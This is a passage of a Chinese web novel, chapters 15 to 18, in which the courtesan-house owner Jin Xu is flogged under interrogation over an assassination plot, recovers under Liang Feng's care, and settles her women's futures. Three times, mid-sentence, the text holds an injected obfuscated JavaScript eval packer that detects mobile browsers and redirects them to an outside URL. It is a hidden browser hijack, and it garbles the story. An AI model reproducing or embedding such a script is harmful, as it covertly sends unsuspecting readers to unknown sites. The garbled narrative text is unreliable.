她忍不住挣扎,手腕也开始疼,但相比之下,这点疼只浮于表面,她喘着气,视线渐渐模糊。 这才两下,而雪姬的血流了那么多。她该受了多重的刑才写下这份口供。 一只手拍了拍金絮的脸,捏住她的双颊,迫使她抬起头,右监发狠地问:“为何指使雪姬刺杀三皇子!” 金絮进气少出气多,“......我不知道...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪姬垂着头,垂着全身,手臂淌的血已经干涸,声音若游丝,“报仇......给我...弟弟......” 给她弟弟?报仇? 她是给她弟弟报仇?她弟弟是被三皇子杀死的吗?可她是怎么知道的?又是怎么接近得了三皇子的? 金絮脑海里忽然一闪而过个念头,各大秦楼楚馆的鸨母皆知:三皇子好色。 金絮盯着雪姬,“你即便诬陷我也救不了你自己,又何故拖累其他人?......咳咳,你怎么接近三皇子的?靠冯棹台吗?” “冯棹台”三个字一出口,雪姬动了,抬起了头,被水沾成一缕一缕的发丝间,露出的眼神空洞无光,嘴里却突然有了力气。 “棹台......” 她被缚的手往前抓了抓,看着虚空中的某处,“.....棹台......” “棹台......” 雪姬猛地吐出一口血,松了身子,垂着头一动不动了。 侍卫拿了盆水泼她,仍旧没动。侍卫又探了探鼻息,接着匆匆忙忙跑出去。 金絮看着雪姬,回想这一年多里曾见过的为数不多嬉笑开怀的雪姬。 她当初来温柔馆就是抱着复仇的目的吗? 借着温柔馆的环境,攀上了冯棹台。 冯棹台知道吗,他知道自己被雪姬利用了吗? 她苦心经营的温柔馆,再三强调不许与馆内来客有逾距接触,结果还是在她眼皮子底下出了雪姬这事。就在她日日监控的眼前,雪姬都能背着她接触上三皇子。 金絮挣扎一动,扯到伤口,一阵急火攻心,喉底涌起一股腥气,眼前阵阵发黑。 她忽然觉得不甘心,雪姬的弟弟是在县城里被伙乱贼莫名杀死的...... 这时,外间传来众多脚步声,越来越近,金絮偏了点头,模糊的视线中看见梁风。梁风满目焦急,似乎在喊她。金絮什么都听不清,她耳边却出现雪姬方才唤冯棹台时的声音,希望与绝望两难,她顿时一口血喷出,伴随剧烈脑鸣,陷入昏迷。 15. 养伤 金絮睁开眼,意识稍稍清晰。她咽咽喉咙,并不觉得渴,知道昏迷中一直有人给她喂水。在这之前,她还睁过两次眼,但意识不清楚,没看清眼前景象就又昏睡过去。 现在回想,她记得看见了一个老妇人,还有梁风。 梁风没看见脸,坐在她床边,似乎跟她说了什么,但她没听清。 这样看来,她是被梁风救了。梁风的确来救她了。 金絮试着感受身体,她是趴着的,面下有软垫,身上有被子,胸腰手腕缠了绷带,手腕和后背皮肉伤口的疼痛尚能承受,最主要是脏腑内的灼烧感,刀割般的烧灼,又烈又想吐。 她咽下恶心,打量屋内。 薄软的枕头遮住了视线的小半,屋子似乎不大,没有人,没有熏香,摆设简单陈朴,应该不是梁风的府邸,可能是某家客栈或是他的别邸。 窗户不在她能看见的地方,但光线充足,有蝉鸣鸟叫。 虽然受了伤,却难得清静,正好可以捋捋最近发生的事情。 首先是这鞭。 廷尉的鞭子出乎她意料的狠,鞭上可能淬了毒,否则她才受了三鞭不至于伤得如此重。以往她只在药书上粗粗见识过,这还是第一次亲身接触毒物。 估计廷尉就是用这种方法杀人于无形,不找仵作验尸的话,尸体表面看起来只有几道浅浅的鞭痕,根本不致死,只会显得是人不经打,挨个几鞭就死了,廷尉就可用尸体顶罪结案,还不会落个私用重刑的罪名。 不知道雪姬怎么样了,是不是还活着。 现在距离她昏迷过去多久了,梁风在干什么。她的嫌疑应该还没洗清吧,救下刺杀三皇子的嫌疑人,梁风不知会承受来自哪方的压力。 想着想着,脏腑疼痛加剧,她赶紧清空脑海,不让自己思虑过多。 有点渴了,她平滑地动了动手臂,还行,没有很痛,摸摸枕边,摸到一个小铃铛,她摇了摇,发出清脆的铃声。 门被人推开,进来的人看打扮是个丫鬟,走至她床边,“絮姑娘,你醒啦。” 这人应该是梁风安排照顾她的,看起来还未及笈,脑袋上两个包包头,小巧可爱。 金絮没说话,丫鬟自觉倒水,在杯里放了根可吸的稻管,递到她嘴边,金絮吸两口,水温正合适,喝完后问道:“你叫什么名字?” “奴婢名叫小漫。” “我睡了多久了?” “絮姑娘您睡了三天了。” 三天...... “雪姬,你认识吗?” 小漫眨巴大眼睛,“奴婢不认识。” “哦,没事。” 小漫笑起来,“絮姑娘,我家大人让我告诉您,廷尉的刑鞭不是普通的鞭子,伤是很严重的,如果没治好的话会损伤身体的根本,所以大人让您这几日先不要出门,安心住在这里好好养伤。” “......好,我知道了。” 这可以说是保护,也可以是说是监视,看来她的嫌疑的确还没洗清。 “哦对了,絮姑娘,大人还让奴婢告诉您,您身边的人他都妥善安排好啦,让您不用担心。” 金絮听后,脸往枕头里贴了贴,总算有点放下心了,“那你知道安排在了何处吗?” 小漫摇摇头,“大人没交代。” “你家大人现在哪里?” “大人一早进宫去了,说是要两日后才回呢。絮姑娘,你饿不饿,大人临走前给您喂了小米粥的,不过现在已经快到正午了。” “嗯,饿了。” “那姑娘想喝什么粥?奴婢煮粥可好吃了!什么粥都煮得出来。” 金絮笑,“都可以。” 小漫开心地给她杯子里蓄满清水,再拿一个木制杯托,将被子嵌入杯托的圆状凹槽中,放在她的枕边,方便她随时拿到。 “那奴婢给您煮粥去了,门外还有小厮阿柴和给您治病的李婶,阿柴是男子,姑娘您有吩咐唤李婶就好。” “好。” 小漫蹬蹬蹬地小跑出去,接着李婶进来了。李婶将背着的药箱放在桌上,走近为她摸摸额头,搭搭脉。 “姑娘,感觉如何了?” “还好,就是有点恶心,想吐。” 李婶点点头,“解毒药会引起轻微的恶心呕吐和晕眩,是将毒逼出来的法子,姑娘你昏迷时就已吐过一回了,不用太过担心,还有别的感觉没?” “没了。”就是疼。 “如果疼得狠了,老身这有止疼药,但不能多吃,会对冲解药的。” 她笑,“不用,还能忍。” 李婶到桌边翻出纸笔,和蔼笑道:“老身先给你开张药膳单子,让小漫拿去煮,你多吃些,好得快。” “好。”金絮应道。她顿了一顿,问:“婶儿,会留疤吗?” “伤口沾了毒,疤肯定会留一点的。只能用点好药材,再妥善地养着,可以尽量养得淡一些,但多少会有一点的。” “哦。” 金絮垂下眼,看见自己扒在枕头边的手指,复又抬眼向李婶道:“婶儿,挑最好的药材。” 李婶笑慈了眼,“好好好,我一定想办法给你弄没喽。” “谢谢李婶儿。” 李婶边琢磨边道:“明日晚上给你换药,也可以开始吃肉了,再给你擦擦身子......大概到下月就可走动了。” “好。”还有几天就到下月了。 李婶捧着个纸包,“来,吃颗蜜饯。” 金絮张嘴,口中卷入一颗蜜饯,终于觉得舒服了。 李婶拿着单子去找小漫,金絮趴在床上,想着梁风挺会挑下人的。 小漫端着煮好的药粥进来时,金絮已经饿成了一滩泥。 李婶手劲大,一只手穿过她的腋下搂着,一只手端着她的肚子,将她上半身稳稳地抬起来,小漫迅速把薄枕拉倒她肚子处,并在腋下垫一个高高软软的枕头,李婶再将她轻轻放下,她就仰起了上身,可以喝粥了。 手腕无力端碗,小漫一勺一勺喂给她,味道确实不错。金絮一口气吃下两碗,觉得自己胃口还行,且吃下去压住了反胃恶心。 李婶也道:“胃口好是好兆头啊,这下梁大人能放心了。” 金絮又喝了药,再短短睡了一觉。 醒来时天还没到傍晚。 实在无聊,唤来小漫一起下棋,小漫不会下,金絮于是耐心地教会了,再一起下。 就这样无聊到第二日晚上,金絮终于要换药了。 当旧纱布从身上揭下 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金絮后知后觉发现,此刻最重的是她的思虑。她忙停止思绪,安心养伤。 小漫端汤进来,一进门就开心地和她说:“絮姑娘,昨夜里梁大人在您床边守了一整晚呢。今日一早又进宫去了。” “......哦......” 她忽然有点庆幸,没跟他直接地打照面,又有点担忧,再在这里待下去,万一真跟他打了照面怎么办,她不喜欢在温柔馆以外的地方遇见他。 “不过大人给您留了话,问您,他能不能借您的温柔馆办个事。”小漫道。 “什么事啊?” “大人说是借您的馆抓一个小偷,他说让您放心,不是什么大事,没有危险的。” “那行,借他了” 金絮想来想去,叫了李婶,让李婶代笔帮她写封感谢信给梁风。 信里除了表达谢意外还写明她馆里有一株稍算昂贵的珊瑚树可作赠礼,问他意下如何,等他又在一天夜里过来时,将信给他。 如此养到下月。 梁风再没在夜里或白日里出现,他好像被皇帝留在了皇宫,信也就一直没能送出去。金絮很庆幸,不见最好。 她前两日就基本能下地活动了,这个地方是城里的一个小宅院,梁风名下的,离皇宫不远。她想出门时,被小厮拦着了,不让出去。金絮能理解,她目前情况最准确来讲是被梁风监视着的嫌疑犯。 于是这两天就在宅院里到处闲玩,偶尔听到阿柴带来外面的消息,阿柴和小漫应梁风吩咐对她是有求必应,连李婶买的药材都是从梁府上调的。金絮深感负担,又感激不尽。 直到今日,李管家突然出现,告知她,她的嫌疑洗清了,雪姬已死,三皇子被刺一案也破了,她可以出去了。 她得知后,愣了一下,很快知道她可以出去了。 来不及多想,忙询问李管家知不知道梁风将温柔馆其他人安排在了何处。李管家告诉她,在长庆街尾的一处客栈,案子了结后梁风安排看守客栈的人也都撤了,此刻她们大概正等着她回去。 16. 一问 眼见背后的鞭痕已无法避免留疤后,金絮便不管那么多,不顾李管家和李婶的挽留,拿着李婶给的药包准备离开,先回温柔馆,去找她的姑娘们。 小柴驾马车送她到温柔馆,金絮毫不意外地发现:温柔馆被封了。 门口另有辆马车,车旁站着个男人,乍以为是某位来客,金絮定睛一瞧,才认出是林童忆。 她忙走过去,林童忆同时也看见她,面上又是焦急又是欣慰地迎过来。 “絮娘,你没事?真是太好了!” 金絮也笑,“谢谢林公子关心。林公子怎么在这?”她扭头看了看温柔馆,门上大大的封条交叉贴着,还有士兵严守,“温柔馆被封了,还是别离得太近,免得惹上事。” “不要紧,我听说你被廷尉抓走,想去看看你情况,可廷尉不允许外人探监,我只能在温柔馆门口看看能不能遇见你回来。” 林童忆笑道:“如今......幸好你没事。”他又问:“你受伤了吗?肯定受伤了吧,伤得重不重?医治了吗?” “劳林公子挂心,挨了几鞭子不算太重,已经好啦,只是这些天一直被人监视着,出不来。” “案子查清了,应该过两天就会解封。”林童忆安慰她,“你最近可有住处?” 她想了一想,“有。” “是长庆街的满园客栈吗?我知道你馆里的人现在暂时住在那儿,要不要我送你过去?” 金絮也不客气,“好啊,多谢林公子了。” 乘上他的马车,林童忆告诉她:“是丽姬托人找到我,我才知道的。她们被人看守在客栈里限制了出入,丽姬问我有没有办法去牢里看看你,我才知道你原来是被廷尉当成嫌疑犯抓去了,可我也没有办法。” 金絮点点头,“无妨,现在没事了。” 林童忆皱眉,“到底发生了什么事?” “具体的我也不太清楚,我只知道是雪姬刺杀了权贵,她受不住刑就举报说是我指使她干的,最后应该是查了温柔馆的账本,才洗清我嫌疑的吧。” 她这么猜测,很不肯定,也不知道梁风到底是怎么给她清白的,养伤这些天,没见他来问一句她有没有在账上做假的话。 他想必顶住了很多压力,才让她能被他单独收押而不再经办案人之手。金絮忽然想,该给梁风送个更贵重的东西作为谢礼才行。 “雪姬......”林童忆眉头越皱越深,“她会如此做......” “我也没想到。”金絮见他一副信错了人,很是替她难过的样子,便笑道:“青楼嘛,鱼龙混杂,什么样的人都有,我就当长个教训了。” 只是现在回过头想想,其实很多从前发生过的事情都像是在给她预兆。 雪姬刚来温柔馆时,浑身瘦得不似个人形,腰间缠着一块黑红色的破布,整个人冻得已经开始发热,再多一步直接就冻死了。孙姨照顾了她三天,将她救活。她醒后大哭一场,几天没有说话,像个死人一般。 后来,雪姬慢慢缓过来,愿意说话了,金絮才从她口中得知,她的家人全死光了。不仅是她的家人,当时她和弟弟住着的乡县全部被屠。而她正好身在外地,躲过一劫,回去后只看见了一座城的尸体。 金絮知道那时边疆外族来犯,起了两场战争,宁安县很可能是被战火波及,才遭此一劫。 雪姬听了,没说话,只是之后人便振作起来,开始接客了,还说想给金絮赚钱作为报答。 金絮很欣慰,也为她感到开心。过不多久,雪姬说想在京郊给家人立个衣冠冢,金絮本想帮她,被她拒绝。那次祭拜回来后,雪姬更显精神,每日点她的客人都多了起来。 金絮当时是真的以为雪姬看开了,放下了。 雪姬每日跟她汇报晚上同客人们聊了什么时,说聊的都是诗词歌赋、风花雪月的内容,甚至是与武官都聊这些。金絮有点诧异,但没多问,以为雪姬是真的有能耐和所有的男人聊这些腻人的事物。但金絮还是加派了丫鬟盯着雪姬的包厢,只是毫无结果。现在看,她应该就是与那些男人的交谈中,知道了屠县的人可能会是谁。 还有,总是雪姬在白天时出门,开馆前才回来,不知去哪里、做了什么。金絮不想自己手伸得太长,便都不过问姑娘们在馆外做的事情。况且,姑娘们上街,无非是买些衣裳、首饰之类,金絮以为雪姬也是如此。与别的姑娘不同的只是雪姬去得会远一点。 现在想,雪姬想必就是这样费尽心力与三皇子的人联系吧。 三皇子从未去过温柔馆,坊间却皆知此人好色,因这人每次都是命仆从将姑娘带去府上,挑选后留下几个,玩过一夜再送回去,对外便说,自己从未去过青楼。实际上他的皇子府都快变成青楼了。 温柔馆里的姑娘就这样大部分都被三皇子挑选过,雪姬怕就是以此私下接近了三皇子而不被她所知的。 她怎么就不多问一问呢?哪怕雪姬骗她,多问几次,总能露出点蛛丝马迹。 金絮怔怔地出神,被人唤了一声,回过神来。 林童忆担忧地看着她,“别想太多了,雪姬要做什么事总不是你能决定的,至少如今大家都没事。” “嗯,也是。”金絮笑了一下。 “那雪姬是为什么要杀三皇子?” “据她说,是给她弟弟报仇。” “嗯?报......”林童忆似乎愣住了,微微反应过来后便住了嘴。 金絮内心有些发怵,她侧过身,无目的地望向窗外。 正是午饭时间,街上有饭菜香,大太阳的热气往她脸上呼,金絮深吸几口气,把热气熏到心里面,平复下那股怵怵的感觉,她转回身,林童忆像是一直在看着她。 金絮斟酌道:“林童忆......” 他一怔,手中打开扇子,朝她莞尔道:“嗯,怎么了?” “我、我刚才在想......可能,我即便提前知道了,也不会拦着她......” “什么?” “就是、就是我提前发现了雪姬想报仇,但我可能不会劝她......我会,我可能会任由她去......” 金絮说完,有些茫然地又似不敢等他回答地挪开眼,手指捏住衣角,窗外照入的阳光铺晒着后背,暖得发烫。 等了似乎很久,才听见林童忆说: “那就让她去好了,雪姬也不是小孩儿了,总不会是在冲动之下做的决定。” 金絮扭头看着他。 他继续说:“只是,这其中的关键在于周围的人会不会帮她。” 金絮低头想了想,心不在焉地答:“也是......她也不是小孩儿了。” 马车内静了一会儿。 “哦对了,林公子,林布最近生意怎么样了?” 他摇着扇子,“还行,新产的一批丝很得京里富家千金们的喜欢。” “那就好。”金絮一笑。 马车里又静下来,这一静,便静了很长时间。 金絮找不到话头,索性不找,沉默地盯着车厢内的一处,找了点事情来想,便想到应该把温柔馆卖给谁。京内叫得出名字的世家巨贾在脑子里过了一遍,再除去看不起青楼的,除去小气的,除去生意无需置办那么多铺面的,剩下里面最合适的人选是城东王家。 王老爷为人大方又好说话,而且王家三少爷上个月还来过温柔馆晓事儿,说不定能谈成,金絮再另选几个备用的商户,便打定下主意来。 马车停定,林童忆掀帘下车,金絮随其后,跟着他到姑娘们住的房间门口,林童忆与她作别。 金絮四下里一看,这间客栈应该是梁风名下的,很大,空无一人,进来时外面的确看见站了几个梁风府上的侍卫。他这是单独清了间客栈用来收押温柔馆的人。 也是有心了。隔门听见屋内说话声,她推开门,说话声骤降,一双双眼睛朝她看过来。 “阿絮!”丽姬首先反应过来,“你怎么样了?被用刑了没有?伤得重不重?这几天都被关在牢里吗?”丽姬似是怕碰到她伤口,不远不近地围着她打转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金絮一向听孙姨话,脱下衣服将已经结痂、痂都快脱落完的伤口给孙姨看,一面问姑娘们,“你们打算去哪儿?” 大厢答:“我们分了好几伙,都打算盘个铺面,做点营生能糊口就好。” “这也行,能糊口就行,那你们是都准备在京城安家?” “是啊,”火蓉捧着包油纸,纸里放着几颗蜜饯,“白捡的户籍,不待在京城可惜了。” “对啊,”金絮想起来,“你们的户籍办好了?”她吃一颗蜜饯,丽姬凑过来也往她背上看了一眼。 “办好了。”大厢点头。 “拿来我看看。” 孙姨看过伤,替她将衣服穿好,“恢复得挺好,毒是清干净了吧?” “干净了。” 孙姨继续说:“户籍也总算是办了,大官办事就是好,几年没解决的事情,这一回出了事反而办好了。” 大厢拿来户籍,金絮接过,再对孙姨笑道:“也算是因祸得福吧,这京籍可就值钱得很。” 她一边低头翻阅一边道:“之前我还在想,你们新籍上的名该加什么姓氏,这都加上了。” 火蓉喂她吃蜜饯,“还记得以前姓什么的都用了原姓,不记得的胡乱选了一个。” 金絮正好看到火蓉的姓名,“叶小蓉。” “嗯。”火蓉笑道:“梁公子还帮我们改了改。” 金絮缓慢地点点头,“还行吧,比叫叶火蓉好,叶火蓉就难听了点。” 大厢补充一句:“不过梁公子没有把馆里所有姑娘都办成京籍,只办了我们这十来个人的,其余人都是附近乡县的籍贯。” “是。”化莲感慨道:“做京人还是值钱的啊。” 金絮看到了自己的户籍,户籍地上写明的是太南。她收起来,其余还给大厢,再道:“虽然被封了家,又去牢里走了一遭,但好在结果还算不错。那么,恭喜大家成为京城人士。” 凝荷化莲十分配合地举臂欢呼,众人也都笑了起来。 17. 二问 金絮牵住孙姨袖子,问道:“孙姨,你往后如何打算?” “我啊,”孙姨和蔼地看着金絮笑,“我盘了个小铺面,卖点药材,给人治病,再带两个丫头。” 金絮眼睛一亮,“这敢情好,孙姨你带哪两个丫头?” “凝凝和夭夭。” 金絮知道这几年水夭是有一直跟在孙姨身边学习识药。 凝荷站在水夭旁边窃喜,金絮无奈道:“你啊,你就懒吧,在馆里靠我,出了馆靠孙姨水夭,等你身边什么时候没人了,你就知道苦了。” 凝荷嘟嘟嘴,走过来攀住金絮胳膊,“咱们是一辈子的好姐妹。” 这话引得火蓉都笑出来。 水夭首先弹了一下凝荷脑门,“尽想着取巧了你,要不是孙姨心软,我都不会让孙姨收你。” “知道了嘛,”凝荷撒娇,“我往后一定学着怎么自力更生。” 化莲调侃道:“这倒也不需要了。孙姨收你就是为了给你找寻婆家,你一出嫁,就可以靠丈夫了。” 凝荷一听,小眉就皱起来,“才不要呢,孙姨不要给我找婆家。阿絮姐不嫁,我就不嫁。”说着,边往金絮身上亲昵地贴。 “还学起我来了。”金絮怪道:“学什么不好要学我?你这年纪也到该嫁人的年纪了。” 水夭也说:“再不嫁就成老姑娘了。” 凝荷驳道:“那这里一堆的都是老姑娘,你也很快就是了。” 金絮笑起来,再看看大厢,“大厢你呢?” “我和化莲姐、火蓉姐一起办个胭脂铺。” “平时还能再做点荷包什么的拿去卖。”化莲补充道。 金絮点点头,“你们仨搭配起来倒是不错。” 她说完,看了丽姬一眼,丽姬坐在旁边椅子上,悠哉嗑瓜子。她移开目光正想开口丽姬却不乐意了,“我呢?你不问我?” 金絮只好问:“那你想去哪儿?” 丽姬身子一扭,“不告诉你。” 金絮无语。火蓉推了推丽姬,“我让你和我们一起做生意,你又不愿意,非得去玩儿。” 丽姬背靠软垫,郎当道:“本来我入馆前就是在玩儿的,在馆这几年,可不憋死我了。” 孙姨突然道:“小丽和小絮一样啊,收不住的。” 凝荷听见了,紧了紧金絮的胳膊问:“阿絮姐姐,你去哪儿呀?” “我不待在京城,出去看看。” “哦......”凝荷又问:“那你是和丽姬姐一块儿吗?” “谁和她一起。”丽姬抢道。 “对,谁和她一起。”金絮也跟着说:“我会先去太南,去看看徐礼。” “哦,是哦。”凝荷想起来了,“徐娘临终前将她儿子托付给你了。” 照顾徐娘的儿子,是当初刚入馆时徐娘答应她允许她不接客的条件。 金絮看着大伙道:“好了,就这样吧,收拾东西,今日就从这里搬出去,换家客栈,不住梁公子这个地方了。” 丽姬一听,蹬地站起来,“赶紧走,在别人地盘被人看着,真是不痛快。” 金絮道:“明日一起回温柔馆看看吧,把能带走的东西带走,带不走的我就连馆一块卖了。” “这么着急吗?”水夭问:“也不缓两日?阿絮姐,你别急着走,帮我们看看铺子。” “这些事有大厢就好。以你们的积蓄在京城买不到多好的铺面的,孙姨可能可以,你们就在城郊先选个打根基的铺子,等积蓄多了再考虑要不要换地方。” 水夭噤下声去。 “阿絮姐,”凝荷拽她的袖子,“你以后还会来京城吗?我们想找你怎么办?” “可能会来,但不会长住。你要是想找我,就写信寄到我在太南买的宅子里去,我会看到的。” 凝荷瘪嘴地看着她。 “我给你们留点银子和首饰,刚开始日子不会太难的,努力适应。”金絮摸摸凝荷脑袋,“去感受一下不用卖艺卖身的生活,有乐子的。” “好!”凝荷吸吸鼻子,既而扬起了下巴,“我也不是小孩子了,能靠自己。” 金絮揉乱凝荷的头发,笑了笑,向众人道:“走吧。” 收拾好包袱,金絮选了一间偏僻的客栈。安顿好后,金絮拿着取钱令去掌葫钱庄确认她的积蓄。被封的只有温柔馆,她名下其他银子和地契都没有被动过。稍稍安下心来,再多办个取钱令后,金絮回到客栈,和姑娘们一起吃饭、谈天,晚上,丽姬来找她。 “干什么那么着急走?” 丽姬沐过浴,不客气地钻进金絮被子里。 金絮擦着头发,“我怕梁风留我,就想在遇见他之前赶紧走了。” “他留你你就不会走了吗?” “不会,”金絮想了想道:“他会留我,但应该不会拦我。” “那还躲着他干嘛?” 金絮抹发膏的手顿住,思索片刻,慢慢道:“就是不想在温柔馆外面不想遇见他。” 丽姬若有所思一笑。金絮低头抹发,不言语。 金絮低头抹发,不言语。 丽姬脑袋歪在枕头上看她,“取钱令呢?” 金絮将新办好的取钱令递去,丽姬接过把玩,“下等的。” “五个我加起来都不够半个中等的,知足吧。”金絮爬到床榻上,笑着用手肘推推丽姬,“什么时候走啊?” “我当然想走就走咯,又没你那么多顾忌。” “去哪儿?” “不告诉你。” 丽姬翻个身,背对着她。 金絮笑着凑近,“掌葫钱庄下等令的信件寄得太慢了,你要时常写信给我,让我知道你在哪儿。” “不写。” “就寄去太南,你知道我那宅子在哪儿的吧?” “不知道。” 金絮仍旧笑,“我那宅子虽然不大,但住多一个人还是可以的,你要是在外面玩得累了,就去我那儿住一段时间。” 丽姬扭头看了她一眼,又扭回去,有点不耐烦似的,“知道了。” 金絮开心地笑笑,将棉被铺平,躺在被子上,忽然觉得快活,雪姬一事带来的烦闷因对未来美好的憧憬而有些消淡了。 “丽姬,我想给梁风送个礼。你觉得送什么好?” 丽姬一听便转过身来,“是他把你从牢里放出来的吗?” “是啊。” “那他还挺靠谱的。” “不光是这件事,温柔馆这几年承了他挺多照拂的,尤其是刚开始日子比较难的时候,于情于理,都应该谢谢他。” “那就送吧,别挑太贵的,咱现在都没钱。” 金絮侧着身子,手支着头,丽姬皱眉道:“你小心点,别扯到后背了。” 金絮依言趴下,垫着枕头,把玩丽姬的头发。 “丽姬。” “嗯?” 丽姬从鼻子里一哼,抓过个枕头跟金絮一块趴着。 “我跟你说个事。” “说。” “就是......就是我现在想,我也许可以早点发现雪姬想为她弟弟报仇的。” “雪姬报仇?她报啥仇?哦不是,你......哎呀,你想这些干啥啊?” “这有啥好想的?她要报仇要杀人跟你早知道晚知道有啥关系?”丽姬撑起上半身,厉色地正视她,“你就算早知道了,然后去劝她吗?她会听你的?就她那孤僻别扭的性子会听你的?反而会因为被你发现了更加提防你。” “我知道,不是说这个。”金絮放开头发,脸埋进枕头里。眼前什么都看不清,却看清了自己内心阴暗的角落,“我是在想,我即便早知道了,我可能也不会劝她...... “就任她去报仇,任她去杀人、去毁灭自己,去做她想做的事。 “然后不管成功还是失败,她至少去做了,去为自己讨过公道了......” 鼻子被枕头埋着难以呼吸,“我不知道我这样想对不对。” 金絮深深吸气,脑子里出现雪姬被抓走时看她的一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839752|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不对。” “当然不对啊。” 金絮听见丽姬道:“报仇那么多种方法,为啥非得选杀人那一种。” 金絮转头,发丝横在脸上,隔着发丝看丽姬,丽姬被黑影割得一道一道的。 “不对么......” “丽姬,我同你说,雪姬她想报仇是因为三皇子杀死了她唯一的弟弟,这样你还觉得她想杀死三皇子是不对的吗?” 丽姬拨开她脸上的头发,“我不知道对不对,我只知道杀人不对。” 丽姬翻身仰躺,“像我,我顶多做点小偷小摸的事情,谁会去杀人啊。即便我是雪姬,背负血海深仇,我也不会。” 金絮良久地看着她,吐出一句:“没良心。” “并不。背负着亲人的希望活下去也许才是最好的选择。难道要像雪姬那样,不光自己复仇,还连累了身边的人,她自己的仇,凭什么要我们承担。” 金絮听后不说话,深思半晌后才道:“也是,不能连累别人。” “想这些干什么,现在好好的不就行了。还不如想想自由了之后去哪玩。”丽姬推搡她一下,“要不要去草原啊?” “草原?”金絮想了想,挺想去的,“我打算先去笑长生的墓地看看。” “笑长生?谁?” “一个写话本的老先生,前两年听说他去世了。” “哦。”丽姬一脸不认识。 “《豪侠传》就是他写的。” “哦——那我知道了。” 丽姬没看过《豪侠传》,但知道金絮爱看。 “好了,不聊了,你伤还没好,早点睡。” “嗯。” 丽姬下了床,吹熄灯,关妥门窗出去了。 金絮躺着,身上的里衣还是李婶给她的,柔软舒适。她躺了一会,没多久便睡了。 第二日一早醒来,金絮洗漱闭出门,太阳刚刚露头,客栈的散堂里有桌吃早饭的人,其中一桌坐了火蓉化莲和几个姑娘。 她受这趟伤把作息给矫正了,勉强每天能够早睡早起。以前在馆里大部分姑娘都要睡到日上三竿,如今反而有起得早的了,倒是让她意外。 过去蹭了顿早饭,金絮带着醒着的人出发温柔馆。 去之前先到衙门领钥匙,领了钥匙后她看见衙门要路旁一名官员站在晨雾中念诵告示,周围聚着不多的民众,火蓉她们也在其中。金絮走近细看,还看见了惜昔馆馆主。 那官员先是赞赏了一番圣上的开明贤治,以及近日京内凶事频出,许多百姓想贩卖地宅,圣上体恤民情,下旨百姓可将自己的地宅卖给官府。而买入的地宅会由府衙另做打算或供给异地灾荒流民避难暂居。 金絮有一句没听明白,近日凶事频出怎么就和开明贤治搭上关系了? 那官员继续说,地宅以不同大小、层高、以及新旧分成不同等级,每级间每亩价格不一。 金絮算了一下,按那官员的说法,她的温柔馆约莫能卖近五百两银子。 她差点拍掌叫好,有这五百两银子,取钱令都能升到中等了。 惜昔馆馆主还在旁边,她收敛一下。这种事不宜声张,她赶快拉着姑娘们离开了。 一路上,她都在兴奋地算着馆内各种字画摆设能卖多少银子,心中庆幸这几年没有太过糟蹋温柔馆的墙筑,好好地保养了。不禁窃喜,她还是很有远见的。 只是,卖给官府的话所需时间会比较久了,肯定不像卖给商户那么快。 梁风么,没必要躲了,银子才是天大的事情。 到了温柔馆,撕下门上的封条。推门而入,堂肆还是往常的样子,外表看起来没什么太大变化。 厢房所有的门都被打开了,金絮在各房中简单一扫,摆设明显有翻过的痕迹,但不是很乱。她再去四楼看了看,梁风的房间丝毫没有被动过。 她记下几个可挪动的贵重东西,便转头出去。 “阿絮姐。”楼下有姑娘喊她。 “阿絮姐,你快去看看庭院!” 18. 五枚铜板 金絮沿四楼走廊到后厢房背面的晾衣廊,这里视野开阔,可以一览整个中庭的景色。 庭院正中的水池被抽干了。池里的花、叶、鱼全部没有了,不光没有,池底和池壁像是被人挖凿过,泥土乱七八糟,洒得到处都是,不知道的还会以为是不是这池里埋了什么不得了的东西。 刚接手温柔馆时就让人打造过一遍这池子,她很清楚池底是什么都没有的。 金絮下楼,边思索,这应该就是她养伤的时候梁风说要借她馆子办的事了。 抓逃犯,这是做陷阱吗? 看起来像是没抓成功。 那为什么要将馆里其他地方都翻了一遍? 金絮猛然想起,雪姬曾污蔑她克扣姑娘月俸,那翻找就可能是为了搜出账本?右监虽说过不会信能造假的账本,但对梁风可能有用。 到池边,金絮围池走了一圈,没发现有挖出了某物后较深的凿穴,这池子只是普通的池子。 不过,即便真有什么东西她倒是不介意让梁风挖走,凿这么一下换来姑娘们的户籍,是她赚了。 “不要紧,可能是梁公子办案需要才挖的。你们去看看有什么能带走的东西吧,太多的话去赁辆马车来。”金絮跟姑娘们说道。 “好。”姑娘们随火蓉散开。 金絮去她的卧房中看了一看,她没什么贵重东西,基本都在上回收拾时拿走了。 想起还有贾镇的厢房,她又回到前馆三楼的贾镇房间,在门口惊诧地发现贾镇被偷家了。 房门敞着,房内只有几件大家私。窗外斜照进来的阳光空空笼着飞舞的灰尘。 金絮站在屋中央,莫名地感到有些后怕。 她开始反思自己是不是过于被动了。 “阿絮!” 外面火蓉在喊她。 金絮应一声。 “孙姨的药材还留了许多,要拿走吗?可是拿走的话会没有地方放。” 火蓉的声音伴随上楼的踩踏声逐渐靠近,最后出现在门口。火蓉瞪着眼睛看着空阔阔的屋子,惊愕满脸地踏进来。 金絮在榻上坐下,“药材要拿走,浪费的话孙姨会心疼的。” 